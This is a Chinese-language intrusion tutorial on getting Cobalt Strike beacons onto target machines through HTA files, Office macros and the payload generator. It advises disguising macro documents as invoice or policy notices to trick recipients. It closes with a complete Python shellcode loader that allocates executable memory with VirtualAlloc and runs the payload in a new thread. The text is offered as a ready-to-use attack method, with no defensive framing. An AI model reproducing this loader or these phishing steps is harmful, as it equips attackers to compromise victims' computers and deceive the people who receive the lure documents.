cs上线方式

内网渗透

cs上线方式

1. HTA文档

打开cs，选择HTA相关内容
选择对应监听器，并且生成相应内容

在Method方法中，可以选择最终的木马是exe可执行文件、powershell还是VBA脚本的形式
发送到目标机器上执行(尽量为低版本的Windows，高版本可能不起作用)

2. Office宏

打开Office宏生成页面
选择对应监听器，生成相应的office宏内容
复制宏内容
新建一个offcie文件(不能是wps的，这里以word为例)，在搜索栏搜索宏，并进入编辑宏页面
注意：这里也可以直接使用正常文件，但添加新的宏
新建一个宏
替换宏内容
根据你的目标，伪装word文档内容(例如发票报销核查、制度变化等)，并保存为docm文档格式
发送给目标机器执行，成功上线

3. Payload生成器

(1). 单个payload生成

进入Payload生成器页面
生成对应脚本的Payload(我这里以Python格式的脚本举例)
该脚本内容为shellcode

将该shellcode放入shellcode解释器指定位置，保存并退出

import ctypes
# 示例 shellcode，确保它不是空的
shellcode = bytearray(b"放入cs生成的payload")  
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 分配内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                         ctypes.c_int(len(shellcode)),
                                         ctypes.c_int(0x3000),
                                         ctypes.c_int(0x40))
# 检查内存是否分配成功
if ptr == 0:
   raise Exception("VirtualAlloc failed to allocate memory.")

# 将 shellcode 加载到分配的内存中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

# 使用 RtlMoveMemory 将 shellcode 拷贝到分配的内存区域
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr),
                                    buf,
                                    ctypes.c_int(len(shellcode)))

# 创建线程执行 shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.c_uint64(ptr),
                                            ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.pointer(ctypes.c_int(0)))

# 等待线程完成
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))